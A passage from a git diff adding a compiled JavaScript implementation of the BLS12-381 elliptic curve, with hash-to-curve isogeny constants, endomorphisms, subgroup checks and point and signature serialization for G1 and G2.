BigInt('0x06af0e0437ff400b6831e36d6bd17ffe48395dabc2d3435e77f76e17009241c5ee67992f72ec05f4c81084fbede3cc09'), + BigInt('0x135203e60180a68ee2e9c448d77a2cd91c3dedd930b1cf60ef396489f61eb45e304466cf3e67fa0af1ee7b04121bdea2'), + ], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaad'), + BigInt('0x0'), + ], + [ + BigInt('0x05b2cfd9013a5fd8df47fa6b48b1e045f39816240c0b8fee8beadf4d8e9c0566c63a3e6e257f87329b18fae980078116'), + BigInt('0x144e4211384586c16bd3ad4afa99cc9170df3560e77982d0db45f3536814f0bd5871c1908bd478cd1ee605167ff82995'), + ], +].map((n) => Fp2.fromBigTuple(n)); +// END OF CURVE FIELDS +// HashToCurve +// 3-isogeny map from E' to E https://www.rfc-editor.org/rfc/rfc9380#appendix-E.3 +const isogenyMapG2 = (0, hash_to_curve_js_1.isogenyMap)(Fp2, [ + // xNum + [ + [ + '0x5c759507e8e333ebb5b7a9a47d7ed8532c52d39fd3a042a88b58423c50ae15d5c2638e343d9c71c6238aaaaaaaa97d6', + '0x5c759507e8e333ebb5b7a9a47d7ed8532c52d39fd3a042a88b58423c50ae15d5c2638e343d9c71c6238aaaaaaaa97d6', + ], + [ + '0x0', + '0x11560bf17baa99bc32126fced787c88f984f87adf7ae0c7f9a208c6b4f20a4181472aaa9cb8d555526a9ffffffffc71a', + ], + [ + '0x11560bf17baa99bc32126fced787c88f984f87adf7ae0c7f9a208c6b4f20a4181472aaa9cb8d555526a9ffffffffc71e', + '0x8ab05f8bdd54cde190937e76bc3e447cc27c3d6fbd7063fcd104635a790520c0a395554e5c6aaaa9354ffffffffe38d', + ], + [ + '0x171d6541fa38ccfaed6dea691f5fb614cb14b4e7f4e810aa22d6108f142b85757098e38d0f671c7188e2aaaaaaaa5ed1', + '0x0', + ], + ], + // xDen + [ + [ + '0x0', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaa63', + ], + [ + '0xc', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaa9f', + ], + ['0x1', '0x0'], // LAST 1 + ], + // yNum + [ + [ + '0x1530477c7ab4113b59a4c18b076d11930f7da5d4a07f649bf54439d87d27e500fc8c25ebf8c92f6812cfc71c71c6d706', + '0x1530477c7ab4113b59a4c18b076d11930f7da5d4a07f649bf54439d87d27e500fc8c25ebf8c92f6812cfc71c71c6d706', + ], + [ + '0x0', + '0x5c759507e8e333ebb5b7a9a47d7ed8532c52d39fd3a042a88b58423c50ae15d5c2638e343d9c71c6238aaaaaaaa97be', + ], + [ + '0x11560bf17baa99bc32126fced787c88f984f87adf7ae0c7f9a208c6b4f20a4181472aaa9cb8d555526a9ffffffffc71c', + '0x8ab05f8bdd54cde190937e76bc3e447cc27c3d6fbd7063fcd104635a790520c0a395554e5c6aaaa9354ffffffffe38f', + ], + [ + '0x124c9ad43b6cf79bfbf7043de3811ad0761b0f37a1e26286b0e977c69aa274524e79097a56dc4bd9e1b371c71c718b10', + '0x0', + ], + ], + // yDen + [ + [ + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffa8fb', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffa8fb', + ], + [ + '0x0', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffa9d3', + ], + [ + '0x12', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaa99', + ], + ['0x1', '0x0'], // LAST 1 + ], +].map((i) => i.map((pair) => Fp2.fromBigTuple(pair.map(BigInt))))); +// 11-isogeny map from E' to E +const isogenyMapG1 = (0, hash_to_curve_js_1.isogenyMap)(Fp, [ + // xNum + [ + '0x11a05f2b1e833340b809101dd99815856b303e88a2d7005ff2627b56cdb4e2c85610c2d5f2e62d6eaeac1662734649b7', + '0x17294ed3e943ab2f0588bab22147a81c7c17e75b2f6a8417f565e33c70d1e86b4838f2a6f318c356e834eef1b3cb83bb', + '0xd54005db97678ec1d1048c5d10a9a1bce032473295983e56878e501ec68e25c958c3e3d2a09729fe0179f9dac9edcb0', + '0x1778e7166fcc6db74e0609d307e55412d7f5e4656a8dbf25f1b33289f1b330835336e25ce3107193c5b388641d9b6861', + '0xe99726a3199f4436642b4b3e4118e5499db995a1257fb3f086eeb65982fac18985a286f301e77c451154ce9ac8895d9', + '0x1630c3250d7313ff01d1201bf7a74ab5db3cb17dd952799b9ed3ab9097e68f90a0870d2dcae73d19cd13c1c66f652983', + '0xd6ed6553fe44d296a3726c38ae652bfb11586264f0f8ce19008e218f9c86b2a8da25128c1052ecaddd7f225a139ed84', + '0x17b81e7701abdbe2e8743884d1117e53356de5ab275b4db1a682c62ef0f2753339b7c8f8c8f475af9ccb5618e3f0c88e', + '0x80d3cf1f9a78fc47b90b33563be990dc43b756ce79f5574a2c596c928c5d1de4fa295f296b74e956d71986a8497e317', + '0x169b1f8e1bcfa7c42e0c37515d138f22dd2ecb803a0c5c99676314baf4bb1b7fa3190b2edc0327797f241067be390c9e', + '0x10321da079ce07e272d8ec09d2565b0dfa7dccdde6787f96d50af36003b14866f69b771f8c285decca67df3f1605fb7b', + '0x6e08c248e260e70bd1e962381edee3d31d79d7e22c837bc23c0bf1bc24c6b68c24b1b80b64d391fa9c8ba2e8ba2d229', + ], + // xDen + [ + '0x8ca8d548cff19ae18b2e62f4bd3fa6f01d5ef4ba35b48ba9c9588617fc8ac62b558d681be343df8993cf9fa40d21b1c', + '0x12561a5deb559c4348b4711298e536367041e8ca0cf0800c0126c2588c48bf5713daa8846cb026e9e5c8276ec82b3bff', + '0xb2962fe57a3225e8137e629bff2991f6f89416f5a718cd1fca64e00b11aceacd6a3d0967c94fedcfcc239ba5cb83e19', + '0x3425581a58ae2fec83aafef7c40eb545b08243f16b1655154cca8abc28d6fd04976d5243eecf5c4130de8938dc62cd8', + '0x13a8e162022914a80a6f1d5f43e7a07dffdfc759a12062bb8d6b44e833b306da9bd29ba81f35781d539d395b3532a21e', + '0xe7355f8e4e667b955390f7f0506c6e9395735e9ce9cad4d0a43bcef24b8982f7400d24bc4228f11c02df9a29f6304a5', + '0x772caacf16936190f3e0c63e0596721570f5799af53a1894e2e073062aede9cea73b3538f0de06cec2574496ee84a3a', + '0x14a7ac2a9d64a8b230b3f5b074cf01996e7f63c21bca68a81996e1cdf9822c580fa5b9489d11e2d311f7d99bbdcc5a5e', + '0xa10ecf6ada54f825e920b3dafc7a3cce07f8d1d7161366b74100da67f39883503826692abba43704776ec3a79a1d641', + '0x95fc13ab9e92ad4476d6e3eb3a56680f682b4ee96f7d03776df533978f31c1593174e4b4b7865002d6384d168ecdd0a', + '0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], + // yNum + [ + '0x90d97c81ba24ee0259d1f094980dcfa11ad138e48a869522b52af6c956543d3cd0c7aee9b3ba3c2be9845719707bb33', + '0x134996a104ee5811d51036d776fb46831223e96c254f383d0f906343eb67ad34d6c56711962fa8bfe097e75a2e41c696', + '0xcc786baa966e66f4a384c86a3b49942552e2d658a31ce2c344be4b91400da7d26d521628b00523b8dfe240c72de1f6', + '0x1f86376e8981c217898751ad8746757d42aa7b90eeb791c09e4a3ec03251cf9de405aba9ec61deca6355c77b0e5f4cb', + '0x8cc03fdefe0ff135caf4fe2a21529c4195536fbe3ce50b879833fd221351adc2ee7f8dc099040a841b6daecf2e8fedb', + '0x16603fca40634b6a2211e11db8f0a6a074a7d0d4afadb7bd76505c3d3ad5544e203f6326c95a807299b23ab13633a5f0', + '0x4ab0b9bcfac1bbcb2c977d027796b3ce75bb8ca2be184cb5231413c4d634f3747a87ac2460f415ec961f8855fe9d6f2', + '0x987c8d5333ab86fde9926bd2ca6c674170a05bfe3bdd81ffd038da6c26c842642f64550fedfe935a15e4ca31870fb29', + '0x9fc4018bd96684be88c9e221e4da1bb8f3abd16679dc26c1e8b6e6a1f20cabe69d65201c78607a360370e577bdba587', + '0xe1bba7a1186bdb5223abde7ada14a23c42a0ca7915af6fe06985e7ed1e4d43b9b3f7055dd4eba6f2bafaaebca731c30', + '0x19713e47937cd1be0dfd0b8f1d43fb93cd2fcbcb6caf493fd1183e416389e61031bf3a5cce3fbafce813711ad011c132', + '0x18b46a908f36f6deb918c143fed2edcc523559b8aaf0c2462e6bfe7f911f643249d9cdf41b44d606ce07c8a4d0074d8e', + '0xb182cac101b9399d155096004f53f447aa7b12a3426b08ec02710e807b4633f06c851c1919211f20d4c04f00b971ef8', + '0x245a394ad1eca9b72fc00ae7be315dc757b3b080d4c158013e6632d3c40659cc6cf90ad1c232a6442d9d3f5db980133', + '0x5c129645e44cf1102a159f748c4a3fc5e673d81d7e86568d9ab0f5d396a7ce46ba1049b6579afb7866b1e715475224b', + '0x15e6be4e990f03ce4ea50b3b42df2eb5cb181d8f84965a3957add4fa95af01b2b665027efec01c7704b456be69c8b604', + ], + // yDen + [ + '0x16112c4c3a9c98b252181140fad0eae9601a6de578980be6eec3232b5be72e7a07f3688ef60c206d01479253b03663c1', + '0x1962d75c2381201e1a0cbd6c43c348b885c84ff731c4d59ca4a10356f453e01f78a4260763529e3532f6102c2e49a03d', + '0x58df3306640da276faaae7d6e8eb15778c4855551ae7f310c35a5dd279cd2eca6757cd636f96f891e2538b53dbf67f2', + '0x16b7d288798e5395f20d23bf89edb4d1d115c5dbddbcd30e123da489e726af41727364f2c28297ada8d26d98445f5416', + '0xbe0e079545f43e4b00cc912f8228ddcc6d19c9f0f69bbb0542eda0fc9dec916a20b15dc0fd2ededda39142311a5001d', + '0x8d9e5297186db2d9fb266eaac783182b70152c65550d881c5ecd87b6f0f5a6449f38db9dfa9cce202c6477faaf9b7ac', + '0x166007c08a99db2fc3ba8734ace9824b5eecfdfa8d0cf8ef5dd365bc400a0051d5fa9c01a58b1fb93d1a1399126a775c', + '0x16a3ef08be3ea7ea03bcddfabba6ff6ee5a4375efa1f4fd7feb34fd206357132b920f5b00801dee460ee415a15812ed9', + '0x1866c8ed336c61231a1be54fd1d74cc4f9fb0ce4c6af5920abc5750c4bf39b4852cfe2f7bb9248836b233d9d55535d4a', + '0x167a55cda70a6e1cea820597d94a84903216f763e13d87bb5308592e7ea7d4fbc7385ea3d529b35e346ef48bb8913f55', + '0x4d2f259eea405bd48f010a01ad2911d9c6dd039bb61a6290e591b36e636a5c871a5c29f4f83060400f8b49cba8f6aa8', + '0xaccbb67481d033ff5852c1e48c50c477f94ff8aefce42d28c0f9a88cea7913516f968986f7ebbea9684b529e2561092', + '0xad6b9514c767fe3c3613144b45f1496543346d98adf02267d5ceef9a00d9b8693000763e3b90ac11e99b138573345cc', + '0x2660400eb2e4f3b628bdd0d53cd76f2bf565b94e72927c1cb748df27942480e420517bd8714cc80d1fadc1326ed06f7', + '0xe0fa1d816ddc03e6b24255e0d7819c171c40f65e273b853324efcd6356caa205ca2f570f13497804415473a1d634b8f', + '0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], +].map((i) => i.map((j) => BigInt(j)))); +// SWU Map - Fp2 to G2': y² = x³ + 240i * x + 1012 + 1012i +const G2_SWU = (0, weierstrass_js_1.mapToCurveSimpleSWU)(Fp2, { + A: Fp2.create({ c0: Fp.create(_0n), c1: Fp.create(BigInt(240)) }), + B: Fp2.create({ c0: Fp.create(BigInt(1012)), c1: Fp.create(BigInt(1012)) }), + Z: Fp2.create({ c0: Fp.create(BigInt(-2)), c1: Fp.create(BigInt(-1)) }), // Z: -(2 + I) +}); +// Optimized SWU Map - Fp to G1 +const G1_SWU = (0, weierstrass_js_1.mapToCurveSimpleSWU)(Fp, { + A: Fp.create(BigInt('0x144698a3b8e9433d693a02c96d4982b0ea985383ee66a8d8e8981aefd881ac98936f8da0e0f97f5cf428082d584c1d')), + B: Fp.create(BigInt('0x12e2908d11688030018b12e8753eee3b2016c1f0f24f4070a0b9c14fcef35ef55a23215a316ceaa5d1cc48e98e172be0')), + Z: Fp.create(BigInt(11)), +}); +// Endomorphisms (for fast cofactor clearing) +// Ψ(P) endomorphism +const ut_root = Fp6.create({ c0: Fp2.ZERO, c1: Fp2.ONE, c2: Fp2.ZERO }); +const wsq = Fp12.create({ c0: ut_root, c1: Fp6.ZERO }); +const wcu = Fp12.create({ c0: Fp6.ZERO, c1: ut_root }); +const [wsq_inv, wcu_inv] = Fp12.invertBatch([wsq, wcu]); +function psi(x, y) { + // Untwist Fp2->Fp12 && frobenius(1) && twist back + const x2 = Fp12.mul(Fp12.frobeniusMap(Fp12.multiplyByFp2(wsq_inv, x), 1), wsq).c0.c0; + const y2 = Fp12.mul(Fp12.frobeniusMap(Fp12.multiplyByFp2(wcu_inv, y), 1), wcu).c0.c0; + return [x2, y2]; +} +// Ψ endomorphism +function G2psi(c, P) { + const affine = P.toAffine(); + const p = psi(affine.x, affine.y); + return new c(p[0], p[1], Fp2.ONE); +} +// Ψ²(P) endomorphism +// 1 / F2(2)^((p-1)/3) in GF(p²) +const PSI2_C1 = BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'); +function psi2(x, y) { + return [Fp2.mul(x, PSI2_C1), Fp2.neg(y)]; +} +function G2psi2(c, P) { + const affine = P.toAffine(); + const p = psi2(affine.x, affine.y); + return new c(p[0], p[1], Fp2.ONE); +} +// Default hash_to_field options are for hash to G2. +// +// Parameter definitions are in section 5.3 of the spec unless otherwise noted. +// Parameter values come from section 8.8.2 of the spec. +// https://www.rfc-editor.org/rfc/rfc9380#section-8.8.2 +// +// Base field F is GF(p^m) +// p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab +// m = 2 (or 1 for G1 see section 8.8.1) +// k = 128 +const htfDefaults = Object.freeze({ + // DST: a domain separation tag + // defined in section 2.2.5 + // Use utils.getDSTLabel(), utils.setDSTLabel(value) + DST: 'BLS_SIG_BLS12381G2_XMD:SHA-256_SSWU_RO_NUL_', + encodeDST: 'BLS_SIG_BLS12381G2_XMD:SHA-256_SSWU_RO_NUL_', + // p: the characteristic of F + // where F is a finite field of characteristic p and order q = p^m + p: Fp.ORDER, + // m: the extension degree of F, m >= 1 + // where F is a finite field of characteristic p and order q = p^m + m: 2, + // k: the target security level for the suite in bits + // defined in section 5.1 + k: 128, + // option to use a message that has already been processed by + // expand_message_xmd + expand: 'xmd', + // Hash functions for: expand_message_xmd is appropriate for use with a + // wide range of hash functions, including SHA-2, SHA-3, BLAKE2, and others. + // BBS+ uses blake2: https://github.com/hyperledger/aries-framework-go/issues/2247 + hash: sha256_1.sha256, +}); +// Encoding utils +// Point on G1 curve: (x, y) +const C_BIT_POS = Fp.BITS; // C_bit, compression bit for serialization flag +const I_BIT_POS = Fp.BITS + 1; // I_bit, point-at-infinity bit for serialization flag +const S_BIT_POS = Fp.BITS + 2; // S_bit, sign bit for serialization flag +// Compressed point of infinity +const COMPRESSED_ZERO = Fp.toBytes((0, utils_js_1.bitSet)((0, utils_js_1.bitSet)(_0n, I_BIT_POS, true), S_BIT_POS, true)); // set compressed & point-at-infinity bits +function signatureG2ToRawBytes(point) { + // NOTE: by some reasons it was missed in bls12-381, looks like bug + point.assertValidity(); + const len = Fp.BYTES; + if (point.equals(exports.bls12_381.G2.ProjectivePoint.ZERO)) + return (0, utils_js_1.concatBytes)(COMPRESSED_ZERO, (0, utils_js_1.numberToBytesBE)(_0n, len)); + const { x, y } = point.toAffine(); + const { re: x0, im: x1 } = Fp2.reim(x); + const { re: y0, im: y1 } = Fp2.reim(y); + const tmp = y1 > _0n ? y1 * _2n : y0 * _2n; + const aflag1 = Boolean((tmp / Fp.ORDER) & _1n); + const z1 = (0, utils_js_1.bitSet)((0, utils_js_1.bitSet)(x1, 381, aflag1), S_BIT_POS, true); + const z2 = x0; + return (0, utils_js_1.concatBytes)((0, utils_js_1.numberToBytesBE)(z1, len), (0, utils_js_1.numberToBytesBE)(z2, len)); +} +// To verify curve parameters, see pairing-friendly-curves spec: +// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-pairing-friendly-curves-11 +// Basic math is done over finite fields over p. +// More complicated math is done over polynominal extension fields. +// To simplify calculations in Fp12, we construct extension tower: +// Fp₁₂ = Fp₆² => Fp₂³ +// Fp(u) / (u² - β) where β = -1 +// Fp₂(v) / (v³ - ξ) where ξ = u + 1 +// Fp₆(w) / (w² - γ) where γ = v +// Here goes constants && point encoding format +exports.bls12_381 = (0, bls_js_1.bls)({ + // Fields + fields: { + Fp, + Fp2, + Fp6, + Fp12, + Fr, + }, + // G1 is the order-q subgroup of E1(Fp) : y² = x³ + 4, #E1(Fp) = h1q, where + // characteristic; z + (z⁴ - z² + 1)(z - 1)²/3 + G1: { + Fp, + // cofactor; (z - 1)²/3 + h: BigInt('0x396c8c005555e1568c00aaab0000aaab'), + // generator's coordinates + // x = 3685416753713387016781088315183077757961620795782546409894578378688607592378376318836054947676345821548104185464507 + // y = 1339506544944476473020471379941921221584933875938349620426543736416511423956333506472724655353366534992391756441569 + Gx: BigInt('0x17f1d3a73197d7942695638c4fa9ac0fc3688c4f9774b905a14e3a3f171bac586c55e83ff97a1aeffb3af00adb22c6bb'), + Gy: BigInt('0x08b3f481e3aaa0f1a09e30ed741d8ae4fcf5e095d5d00af600db18cb2c04b3edd03cc744a2888ae40caa232946c5e7e1'), + a: Fp.ZERO, + b: _4n, + htfDefaults: { ...htfDefaults, m: 1 }, + wrapPrivateKey: true, + allowInfinityPoint: true, + // Checks is the point resides in prime-order subgroup. + // point.isTorsionFree() should return true for valid points + // It returns false for shitty points. + // https://eprint.iacr.org/2021/1130.pdf + isTorsionFree: (c, point) => { + // φ endomorphism + const cubicRootOfUnityModP = BigInt('0x5f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'); + const phi = new c(Fp.mul(point.px, cubicRootOfUnityModP), point.py, point.pz); + // todo: unroll + const xP = point.multiplyUnsafe(exports.bls12_381.params.x).negate(); // [x]P + const u2P = xP.multiplyUnsafe(exports.bls12_381.params.x); // [u2]P + return u2P.equals(phi); + // https://eprint.iacr.org/2019/814.pdf + // (z² − 1)/3 + // const c1 = BigInt('0x396c8c005555e1560000000055555555'); + // const P = this; + // const S = P.sigma(); + // const Q = S.double(); + // const S2 = S.sigma(); + // // [(z² − 1)/3](2σ(P) − P − σ²(P)) − σ²(P) = O + // const left = Q.subtract(P).subtract(S2).multiplyUnsafe(c1); + // const C = left.subtract(S2); + // return C.isZero(); + }, + // Clear cofactor of G1 + // https://eprint.iacr.org/2019/403 + clearCofactor: (_c, point) => { + // return this.multiplyUnsafe(CURVE.h); + return point.multiplyUnsafe(exports.bls12_381.params.x).add(point); // x*P + P + }, + mapToCurve: (scalars) => { + const { x, y } = G1_SWU(Fp.create(scalars[0])); + return isogenyMapG1(x, y); + }, + fromBytes: (bytes) => { + bytes = bytes.slice(); + if (bytes.length === 48) { + // TODO: Fp.bytes + const P = Fp.ORDER; + const compressedValue = (0, utils_js_1.bytesToNumberBE)(bytes); + const bflag = (0, utils_js_1.bitGet)(compressedValue, I_BIT_POS); + // Zero + if (bflag === _1n) + return { x: _0n, y: _0n }; + const x = Fp.create(compressedValue & Fp.MASK); + const right = Fp.add(Fp.pow(x, _3n), Fp.create(exports.bls12_381.params.G1b)); // y² = x³ + b + let y = Fp.sqrt(right); + if (!y) + throw new Error('Invalid compressed G1 point'); + const aflag = (0, utils_js_1.bitGet)(compressedValue, C_BIT_POS); + if ((y * _2n) / P !== aflag) + y = Fp.neg(y); + return { x: Fp.create(x), y: Fp.create(y) }; + } + else if (bytes.length === 96) { + // Check if the infinity flag is set + if ((bytes[0] & (1 << 6)) !== 0) + return exports.bls12_381.G1.ProjectivePoint.ZERO.toAffine(); + const x = (0, utils_js_1.bytesToNumberBE)(bytes.subarray(0, Fp.BYTES)); + const y = (0, utils_js_1.bytesToNumberBE)(bytes.subarray(Fp.BYTES)); + return { x: Fp.create(x), y: Fp.create(y) }; + } + else { + throw new Error('Invalid point G1, expected 48/96 bytes'); + } + }, + toBytes: (c, point, isCompressed) => { + const isZero = point.equals(c.ZERO); + const { x, y } = point.toAffine(); + if (isCompressed) { + if (isZero) + return COMPRESSED_ZERO.slice(); + const P = Fp.ORDER; + let num; + num = (0, utils_js_1.bitSet)(x, C_BIT_POS, Boolean((y * _2n) / P)); // set aflag + num = (0, utils_js_1.bitSet)(num, S_BIT_POS, true); + return (0, utils_js_1.numberToBytesBE)(num, Fp.BYTES); + } + else { + if (isZero) { + // 2x PUBLIC_KEY_LENGTH + const x = (0, utils_js_1.concatBytes)(new Uint8Array([0x40]), new Uint8Array(2 * Fp.BYTES - 1)); + return x; + } + else { + return (0, utils_js_1.concatBytes)((0, utils_js_1.numberToBytesBE)(x, Fp.BYTES), (0, utils_js_1.numberToBytesBE)(y, Fp.BYTES)); + } + } + }, + }, + // G2 is the order-q subgroup of E2(Fp²) : y² = x³+4(1+√−1), + // where Fp2 is Fp[√−1]/(x2+1). #E2(Fp2 ) = h2q, where + // G² - 1 + // h2q + G2: { + Fp: Fp2, + // cofactor + h: BigInt('0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5'), + Gx: Fp2.fromBigTuple([ + BigInt('0x024aa2b2f08f0a91260805272dc51051c6e47ad4fa403b02b4510b647ae3d1770bac0326a805bbefd48056c8c121bdb8'), + BigInt('0x13e02b6052719f607dacd3a088274f65596bd0d09920b61ab5da61bbdc7f5049334cf11213945d57e5ac7d055d042b7e'), + ]), + // y = + // 927553665492332455747201965776037880757740193453592970025027978793976877002675564980949289727957565575433344219582, + // 1985150602287291935568054521177171638300868978215655730859378665066344726373823718423869104263333984641494340347905 + Gy: Fp2.fromBigTuple([ + BigInt('0x0ce5d527727d6e118cc9cdc6da2e351aadfd9baa8cbdd3a76d429a695160d12c923ac9cc3baca289e193548608b82801'), + BigInt('0x0606c4a02ea734cc32acd2b02bc28b99cb3e287e85a763af267492ab572e99ab3f370d275cec1da1aaa9075ff05f79be'), + ]), + a: Fp2.ZERO, + b: Fp2.fromBigTuple([_4n, _4n]), + hEff: BigInt('0xbc69f08f2ee75b3584c6a0ea91b352888e2a8e9145ad7689986ff031508ffe1329c2f178731db956d82bf015d1212b02ec0ec69d7477c1ae954cbc06689f6a359894c0adebbf6b4e8020005aaa95551'), + htfDefaults: { ...htfDefaults }, + wrapPrivateKey: true, + allowInfinityPoint: true, + mapToCurve: (scalars) => { + const { x, y } = G2_SWU(Fp2.fromBigTuple(scalars)); + return isogenyMapG2(x, y); + }, + // Checks is the point resides in prime-order subgroup. + // point.isTorsionFree() should return true for valid points + // It returns false for shitty points. + // https://eprint.iacr.org/2021/1130.pdf + isTorsionFree: (c, P) => { + return P.multiplyUnsafe(exports.bls12_381.params.x).negate().equals(G2psi(c, P)); // ψ(P) == [u](P) + // Older version: https://eprint.iacr.org/2019/814.pdf + // Ψ²(P) => Ψ³(P) => [z]Ψ³(P) where z = -x => [z]Ψ³(P) - Ψ²(P) + P == O + // return P.psi2().psi().mulNegX().subtract(psi2).add(P).isZero(); + }, + // Maps the point into the prime-order subgroup G2. + // clear_cofactor_bls12381_g2 from cfrg-hash-to-curve-11 + // https://eprint.iacr.org/2017/419.pdf + // prettier-ignore + clearCofactor: (c, P) => { + const x = exports.bls12_381.params.x; + let t1 = P.multiplyUnsafe(x).negate(); // [-x]P + let t2 = G2psi(c, P); // Ψ(P) + let t3 = P.double(); // 2P + t3 = G2psi2(c, t3); // Ψ²(2P) + t3 = t3.subtract(t2); // Ψ²(2P) - Ψ(P) + t2 = t1.add(t2); // [-x]P + Ψ(P) + t2 = t2.multiplyUnsafe(x).negate(); // [x²]P - [x]Ψ(P) + t3 = t3.add(t2); // Ψ²(2P) - Ψ(P) + [x²]P - [x]Ψ(P) + t3 = t3.subtract(t1); // Ψ²(2P) - Ψ(P) + [x²]P - [x]Ψ(P) + [x]P + const Q = t3.subtract(P); // Ψ²(2P) - Ψ(P) + [x²]P - [x]Ψ(P) + [x]P - 1P + return Q; // [x²-x-1]P + [x-1]Ψ(P) + Ψ²(2P) + }, + fromBytes: (bytes) => { + bytes = bytes.slice(); + const m_byte = bytes[0] & 0xe0; + if (m_byte === 0x20 || m_byte === 0x60 || m_byte === 0xe0) { + throw new Error('Invalid encoding flag: ' + m_byte); + } + const bitC = m_byte & 0x80; // compression bit + const bitI = m_byte & 0x40; // point at infinity bit + const bitS = m_byte & 0x20; // sign bit + const L = Fp.BYTES; + const slc = (b, from, to) => (0, utils_js_1.bytesToNumberBE)(b.slice(from, to)); + if (bytes.length === 96 && bitC) { + const b = exports.bls12_381.params.G2b; + const P = Fp.ORDER; + bytes[0] = bytes[0] & 0x1f; // clear flags + if (bitI) { + // check that all bytes are 0 + if (bytes.reduce((p, c) => (p !== 0 ? c + 1 : c), 0) > 0) { + throw new Error('Invalid compressed G2 point'); + } + return { x: Fp2.ZERO, y: Fp2.ZERO }; + } + const x_1 = slc(bytes, 0, L); + const x_0 = slc(bytes, L, 2 * L); + const x = Fp2.create({ c0: Fp.create(x_0), c1: Fp.create(x_1) }); + const right = Fp2.add(Fp2.pow(x, _3n), b); // y² = x³ + 4 * (u+1) = x³ + b + let y = Fp2.sqrt(right); + const Y_bit = y.c1 === _0n ? (y.c0 * _2n) / P : (y.c1 * _2n) / P ? _1n : _0n; + y = bitS > 0 && Y_bit > 0 ? y : Fp2.neg(y); + return { x, y }; + } + else if (bytes.length === 192 && !bitC) { + // Check if the infinity flag is set + if ((bytes[0] & (1 << 6)) !== 0) { + return { x: Fp2.ZERO, y: Fp2.ZERO }; + } + const x1 = slc(bytes, 0, L); + const x0 = slc(bytes, L, 2 * L); + const y1 = slc(bytes, 2 * L, 3 * L); + const y0 = slc(bytes, 3 * L, 4 * L); + return { x: Fp2.fromBigTuple([x0, x1]), y: Fp2.fromBigTuple([y0, y1]) }; + } + else { + throw new Error('Invalid point G2, expected 96/192 bytes'); + } + }, + toBytes: (c, point, isCompressed) => { + const { BYTES: len, ORDER: P } = Fp; + const isZero = point.equals(c.ZERO); + const { x, y } = point.toAffine(); + if (isCompressed) { + if (isZero) + return (0, utils_js_1.concatBytes)(COMPRESSED_ZERO, (0, utils_js_1.numberToBytesBE)(_0n, len)); + const flag = Boolean(y.c1 === _0n ? (y.c0 * _2n) / P : (y.c1 * _2n) / P); + // set compressed & sign bits (looks like different offsets than for G1/Fp?) + let x_1 = (0, utils_js_1.bitSet)(x.c1, C_BIT_POS, flag); + x_1 = (0, utils_js_1.bitSet)(x_1, S_BIT_POS, true); + return (0, utils_js_1.concatBytes)((0, utils_js_1.numberToBytesBE)(x_1, len), (0, utils_js_1.numberToBytesBE)(x.c0, len)); + } + else { + if (isZero) + return (0, utils_js_1.concatBytes)(new Uint8Array([0x40]), new Uint8Array(4 * len - 1)); // bytes[0] |= 1 << 6; + const { re: x0, im: x1 } = Fp2.reim(x); + const { re: y0, im: y1 } = Fp2.reim(y); + return (0, utils_js_1.concatBytes)((0, utils_js_1.numberToBytesBE)(x1, len), (0, utils_js_1.numberToBytesBE)(x0, len), (0, utils_js_1.numberToBytesBE)(y1, len), (0, utils_js_1.numberToBytesBE)(y0, len)); + } + }, + Signature: { + // TODO: Optimize, it's very slow because of sqrt. + fromHex(hex) { + hex = (0, utils_js_1.ensureBytes)('signatureHex', hex); + const P = Fp.ORDER; + const half = hex.length / 2; + if (half !== 48 && half !== 96) + throw new Error('Invalid compressed signature length, must be 96 or 192'); + const z1 = (0, utils_js_1.bytesToNumberBE)(hex.slice(0, half)); + const z2 = (0, utils_js_1.bytesToNumberBE)(hex.slice(half)); + // Indicates the infinity point + const bflag1 = (0, utils_js_1.bitGet)(z1, I_BIT_POS); + if (bflag1 === _1n) + return exports.bls12_381.G2.ProjectivePoint.ZERO; + const x1 = Fp.create(z1 & Fp.MASK); + const x2 = Fp.create(z2); + const x = Fp2.create({ c0: x2, c1: x1 }); + const y2 = Fp2.add(Fp2.pow(x, _3n), exports.bls12_381.params.G2b); // y² = x³ + 4 + // The slow part + let y = Fp2.sqrt(y2); + if (!y) + throw new Error('Failed to find a square root'); + // Choose the y whose leftmost bit of the imaginary part is equal to the a_flag1 + // If y1 happens to be zero, then use the bit of y0 + const { re: y0, im: y1 } = Fp2.reim(y); + const aflag1 = (0, utils_js_1.bitGet)(z1, 381); + const isGreater = y1 > _0n && (y1 * _2n) / P !== aflag1; + const isZero = y1 === _0n && (y0 * _2n) / P !== aflag1; + if (isGreater || isZero) + y = Fp2.neg(y); + const point = exports.bls12_381.G2.ProjectivePoint.fromAffine({ x, y }); + point.assertValidity(); + return point; + }, + toRawBytes(point) { + return signatureG2ToRawBytes(point); + }, + toHex(point) { + return (0, utils_js_1.bytesToHex)(signatureG2ToRawBytes(point)); + }, + }, + }, + params: { + x: BLS_X, + r: Fr.ORDER, // order; z⁴ − z² + 1; CURVE.n from other curves + }, + htfDefaults, + hash: sha256_1.sha256, + randomBytes: utils_1.randomBytes, +}); +//# sourceMappingURL=bls12-381.js.map \ No newline at end of file diff --git 